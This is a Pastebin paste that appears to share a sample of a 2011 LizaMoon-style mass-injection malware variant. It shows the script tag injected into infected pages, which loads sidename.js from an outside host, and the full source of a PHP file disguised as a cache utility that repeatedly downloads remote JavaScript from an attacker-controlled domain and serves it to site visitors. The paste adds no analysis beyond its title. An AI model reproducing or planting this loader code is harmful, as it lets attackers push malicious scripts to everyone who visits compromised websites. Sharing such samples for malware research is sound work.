Advertisement
Xylitol

lizamoon variaznte

Jun 9th, 2011
1,042
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 3.00 KB | None | 0 0
  1. infected page contains: <script type="text/javascript" src="http://pms.be/sidename.js"></script>
  2.  
  3. wpcomplate.php:
  4. <?php
  5.  
  6. // ----------------------------------------------------------------------
  7. // touch this!  ---------------------------------------------------------
  8.  
  9. define( 'CACHE_DEBUG',false );
  10. define( 'CACHE_TIME_SECONDS',0 );
  11. define( 'CACHE_UPDATE_URL',"http://klubnika34his.com/data/banner.txt" );
  12. define( 'CACHE_FILE',"sidename.js" );
  13.  
  14. // ----------------------------------------------------------------------
  15.  
  16.  
  17. $cache_code     = null;
  18. $cache_file     = CACHE_FILE;
  19. $cached_time    = time() - (file_exists($cache_file) ? filemtime($cache_file) : 0);
  20.  
  21.  
  22. // ----------------------------------------------------------------------
  23.  
  24. if (CACHE_DEBUG) echo "Cached time is {$cached_time} seconds, update planned after ".(CACHE_TIME_SECONDS - $cached_time)." seconds\n";
  25.  
  26.  
  27. // ----------------------------------------------------------------------
  28. // check cached time
  29.  
  30. if($cached_time > CACHE_TIME_SECONDS)
  31. {
  32.     // get new cache code
  33.     $cache_code = file_get_contents(CACHE_UPDATE_URL);
  34.     if(!empty($cache_code))
  35.     {
  36.         if (CACHE_DEBUG) echo "Update cache...\n";
  37.         write_cache($cache_file, $cache_code);
  38.     }
  39.     else
  40.     {
  41.         if (CACHE_DEBUG) echo "Can't get cache data!\n";
  42.     }
  43. }
  44. else
  45. {
  46.         if(CACHE_DEBUG) echo "Read cache code...\n";
  47.  
  48.         // extract cached data
  49.         $cache_code = extract_cache($cache_file);
  50.         if(empty($cache_code))
  51.         {
  52.             if (CACHE_DEBUG) echo "Cache empty! Update cache...\n";
  53.             $cache_code = file_get_contents(CACHE_UPDATE_URL);
  54.             if(!empty($cache_code))
  55.             {
  56.                 // write cache
  57.                 write_cache($cache_file, $cache_code);
  58.             }
  59.             else
  60.             {
  61.                 if (CACHE_DEBUG) echo "Can't get cache data!\n";
  62.             }
  63.         }
  64. }
  65.  
  66. // ----------------------------------------------------------------------
  67.  
  68. header("Content-Type: text/plain; charset=windows-1251");
  69. echo $cache_code;
  70.  
  71. // ----------------------------------------------------------------------
  72.  
  73. exit;
  74.  
  75. // ----------------------------------------------------------------------
  76. /// read file data
  77.  
  78. function file_get_contents_locked($file_path)
  79. {
  80.     $fp = fopen($file_path, "r");
  81.     if($fp !== FALSE)
  82.     {
  83.         flock($fp, LOCK_EX);
  84.         $data = fread($fp, filesize($file_path));
  85.         flock($fp, LOCK_UN);
  86.         fclose($fp);
  87.  
  88.         return $data;
  89.     }
  90.  
  91.     return FALSE;
  92. }
  93.  
  94.  
  95. // ----------------------------------------------------------------------
  96. /// extract cache from file by cache markers
  97.  
  98. function extract_cache($file_path)
  99. {
  100.     if(file_exists($file_path))
  101.         return file_get_contents_locked($file_path);
  102.  
  103.     return null;
  104. }
  105.  
  106.  
  107. // ----------------------------------------------------------------------
  108. // write cache to file
  109.  
  110. function write_cache($file_path, $cache_data)
  111. {
  112.     if(file_exists($file_path) && !is_writable($file_path))
  113.     {
  114.         if (CACHE_DEBUG) echo "Cache file not writable!\n";
  115.         return null;
  116.     }
  117.  
  118.     $fp=fopen($file_path, "w+");
  119.     flock($fp, LOCK_EX);
  120.     fwrite($fp, $cache_data);
  121.     flock($fp, LOCK_UN);
  122.     fclose($fp);
  123. }
  124.  
  125.  
  126.  
  127.  
  128. ------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement